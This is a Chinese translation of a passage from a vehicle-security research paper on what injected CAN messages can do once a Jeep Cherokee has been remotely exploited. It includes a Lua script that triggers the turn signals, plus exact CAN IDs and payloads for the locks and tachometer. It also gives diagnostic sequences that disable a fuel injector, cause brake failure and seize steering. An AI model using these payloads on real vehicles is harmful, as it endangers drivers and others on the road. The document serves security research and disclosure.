通过网络来发送CAN信息
通过网络来发送CAN信息
一旦你能够通过远程漏洞利用来发送CAN信息,那么弄清楚发送哪些信息来影响其物理系统就是小菜一碟了。先前,我们用了整年的时间来弄明白应该向福特和丰田汽车发送哪些信息,所以我们也没有着急也在吉普车上做这样的工作。不过,我们确实也做了少量的一些工作来证明汽车的哪些物理系统是可以通过远程漏洞利用来控制,但是,这并不是我们研究的主要目的。
常规的CAN信息
正如在先前的研究中讨论过的,这里有两类CAN信息,常规信息和诊断信息。在常规操作时,常规信息总是会在总线中出现。诊断信息一般只会在机械测试、处理ECU时或其他非常规情况中才会出现。我们首先检查了一些仅仅通过常规CAN信息就可以操作的物理特性。
转向信号
转向信号,也就是转向灯是通过一条CAN信息控制的,这条CAN信息的ID是’04F0’,位于CAN-C网络上。如果第一个字节是01,就是左转向信号;如果是02,就是右转向信号。下面的LUA脚本可以激活转向指示器。
注意:这个脚本使用了v850的芯片的SPI通讯,所以,CAN ID会移动2个字节来满足硬件需要。
local clock = os.clock
function sleep(n) -- seconds
local t0 = clock()
while clock() - t0 <= n do end
end
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
while true do
-- can3 can2 can1 can0 data0
g:write(0xf0, 0x02, 91, 0x07, 0x00, 0x00, 0xC0, 0x13, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00) -- left turn
sleep(.001)
end
车锁
锁定信号与转向信号很类似。控制车锁的信息ID是05CE,位于CAN IHS总线上。这个数据有两个字节。如果第二个字节是02,就锁车;如果是04,就开锁。
RPMS
转速表是通过CAN-C总线上的信息01FC控制的。在先前的两个信息示例中只有数据。而这条信息的形式不同,在吉普车上也不常见。最后的两个字节是一个计数器,会自增每条信息和校验和。在前面我们已经介绍过了这个校验和。下面是这条信息的形式:
IDH: 01, IDL: FC, Len: 08, Data: 07 47 4C C1 70 00 45 48
前两个字节就是要显示的RPM。在这个例子中就是0x747,也就是1863 RPM。
CAN诊断信息
诊断信息要比常规信息更强大,但是,如果车辆正在行驶,一般是超过5-10 mph, 多数ECU就会忽略诊断信息。所以,只有车辆在低速行驶时,这类攻击才可能执行,除非攻击者知道如何伪造一个速度来判断是否接收诊断信息。
注意:这台吉普车的诊断信息是29位的CAN信息。
关闭引擎
这条信息是从机械工具发送的一项测试中收集到的。你可以启动一个诊断会话,然后调用’startRoutineByLocalIdentifier’。在这个例子中,本地标识符是15,数据是00 01。这个测试的目的是关闭一个特定的喷油嘴,我们估计是第一个喷油嘴。
发送的信息必须要像下面的形式一样。首先,启动一个诊断会话。再提一下,只有在低速时,这种攻击才能成功。
EID: 18DA10F1, Len: 08, Data: 02 10 92 00 00 00 00 00
然后调用例程:
EID: 18DA10F1, Len: 08, Data: 04 31 15 00 01 00 00 00
刹车
这辆吉普切诺与福特翼虎有着相同的 “功能”,也就是当创建了一个诊断会话时,汽车在行驶过程中就会把刹车踩到底。这样导致的结果就是刹车失灵,造成安全问题,即使这种情况只会发生在低速行驶过程中。
首先,我们需要使用ABS ECU启动一个诊断会话
EID: 18DA28F1, Len: 08, Data: 02 10 03 00 00 00 00 00
然后,我们猛踩刹车(把所有的刹车踩到底)。这只是一条信息(InputOutput ),但是需要多个CAN信息,因为数据太长了,无法放到一个单独的CAN框架中。
EID: 18DA28F1, Len: 08, Data: 10 11 2F 5A BF 03 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 64 64 64 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 00 00 00 00 00
转向
转向(作为泊车协助的一部分)和防碰撞刹车只能由常规的CAN信息操作。但是,不同于我们以前观察到的车辆,仅仅使用CAN信息注入就更难控制了。例如,在丰田普锐斯上,要想刹车,你只需要向网络发送海量的信息,让高速防碰撞系统来启动刹车。当然,真正的防碰撞系统会说不要踩刹车,因为没有必要。丰田的ABS ECU会发现注入信息和真正的信息之间存在冲突,并会根据信息的出现频率来做出行动。所以,让车辆刹车并不难。
在吉普车上,这类功能却不是这样。我们已经确定了防碰撞系统会使用哪些信息来控制刹车。但是,当我们发送了这个信息时,ECU接收到了我们发出的信息来应用刹车,也接收到了真正的信息说不要刹车,这时吉普上的ABS ECU就会完全关闭防碰撞系统。但是,吉普上这个ECU在设计上就会查找这类异常,并且不会响应。这样,我们在丰田普锐斯上执行的很多操作在吉普上都无法实现。话虽如此,但是还是可以通过伪造信息来控制车辆的关键安全方面。我们并没有在这个方向上投入太多的努力,因为研究重点是远程漏洞利用。
作为我们就此的一个研究案例,我们会离线发送真正信息的ECU。然后,接收信息的ECU就只能看到我们的信息,所以也就不会出现冲突了。弊端是我们必须要利用诊断信息来离线真正的ECU。这就意味着,即使真正的操作只会涉及到常规的CAN信息,我们也只能在低速时执行这种攻击,因为我们首先需要使用诊断信息。
我们会以转向为例来证明这一点。在转向时,如果泊车辅助系统接收到了冲突信息,系统就会离线(实际上,方方向盘可能会有轻微的移动,尤其是当车辆在停止前行时,但是为了获取全面的控制,你必须要遵守这个过程)。泊车辅助模块(PAM)是发送真正信息的ECU。所以,我们要让PAM进入诊断会话,防止PAM发送常规信息。然后,我们发送信息让汽车转向。
首先我们要启动一个涉及PAM的诊断会话:
EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00
然后,我们发送CAN信息,告诉动力转向ECU来转向。这些信息应该与下面的类似:
IDH: 02, IDL: 0C, Len: 04, Data: 90 32 28 1F
这里的前两个字节是应用到转向轮的扭矩。80 00 是没有扭矩。更大的数字,比如C0 000是逆时针转向,而较小的数字,比如 40 00 是顺时针方转动。第三个字节的第一个半字节用于指示是否启用自动停车 (0 = no,2 = yes)。这个字节的第二个半字节是一个计数器。最后一个字节是校验和。